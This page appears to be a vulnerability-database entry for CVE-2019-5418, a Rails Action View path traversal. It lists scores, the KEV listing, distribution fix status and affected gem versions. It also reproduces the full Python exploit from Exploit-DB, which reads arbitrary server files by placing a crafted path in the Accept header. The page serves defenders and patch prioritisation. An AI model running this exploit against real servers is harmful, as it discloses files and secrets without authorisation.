CVE-2019-5418

unknown KEV
Published 2019-03-13 ยท Modified 2025-07-07
CVSS v3
โ€”
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

Rails Ruby on Rails contains a path traversal vulnerability in Action View. Specially crafted accept headers in combination with calls to `render file:` can cause arbitrary files on the target server to be rendered, disclosing the file contents.

CISA KEV

Vendor
Rails
Product
Ruby on Rails
Due date
2025-07-28

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-46585 webapps multiple python ยท 2 KB
NotoriousRebel ยท 2019-03-21

Rails 5.2.1 - Arbitrary File Content Disclosure

python exploit Source: Exploit-DB
'''
Exploit Title: File Content Disclosure on Rails
Date: CVE disclosed 3/16 today's date is 3/20
Exploit Author: NotoriousRebel
Vendor Homepage: https://rubyonrails.org/
Software Link: https://github.com/rails/rails
Version: Versions Affected: all Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1
Tested on: Rails 5.2.1 (Using ubuntu on linux subsystem for Windows)
CVE: 2019-5418
'''
import sys

try:
    import requests
except ImportError:
    print('\n\033[93m[!] Requests library not found, please install before proceeding.\n\n \033[0m')
    sys.exit(1)


def banner():
    banner = """
    ----------------------------------------------
    Arbitrary Traversal exploit for Ruby on Rails
    CVE-2019-5418
    ----------------------------------------------
    """
    print(banner)

def check_args():
    if len(sys.argv) != 2:
        print("Invalid number of arguments entered!")
        how_to_use = "python3 Bandit.py url"
        print('Use as:', how_to_use)
        sys.exit(1)


def check_url(url):
    status_code = requests.get(url)
    if status_code != 200:
        print("Url is invalid or can not be reached!")
        sys.exit(1)


def read_file(url, file):
    headers = {'Accept': file + '{{'}
    req = requests.get(url, headers=headers)
    return req


def main():
    banner()
    check_args()
    url = sys.argv[1]
    while True:
        try:
            file = input("Enter file to read (enter quit to exit): ")
        except Exception:
            file = raw_input("Enter file to read (enter quit to exit): ")
        try:
            if file.lower() == 'quit':
                break
        except Exception:
            if file == 'quit':
                break
        response = read_file(url, file)
        print(response.text)


if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print('\n\n\033[93m[!] ctrl+c detected from user, quitting.\n\n \033[0m')

Metasploit modules

Ruby On Rails File Content Disclosure ('doubletap')
Source fetch failed: fetch_error โ€” view the original via the link above.

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
โ€” Affected โ€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2:5.2.2.1+dfsg-1
sid Fixed 2:5.2.2.1+dfsg-1
forky Fixed 2:5.2.2.1+dfsg-1
bullseye Fixed 2:5.2.2.1+dfsg-1
bookworm Fixed 2:5.2.2.1+dfsg-1

Package impact

EcosystemPackageVulnerableFixed
ruby RubyGemsactionview<~> 4.2.11, >= 4.2.11.1~> 4.2.11, >= 4.2.11.1
ruby RubyGemsactionview>=5.2.0,<5.2.2.15.2.2.1
ruby RubyGemsactionview>=4.0.0,<4.2.11.14.2.11.1
ruby RubyGemsactionview>=5.1.0,<5.1.6.25.1.6.2
ruby RubyGemsactionview>=5.0.0,<5.0.7.25.0.7.2

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.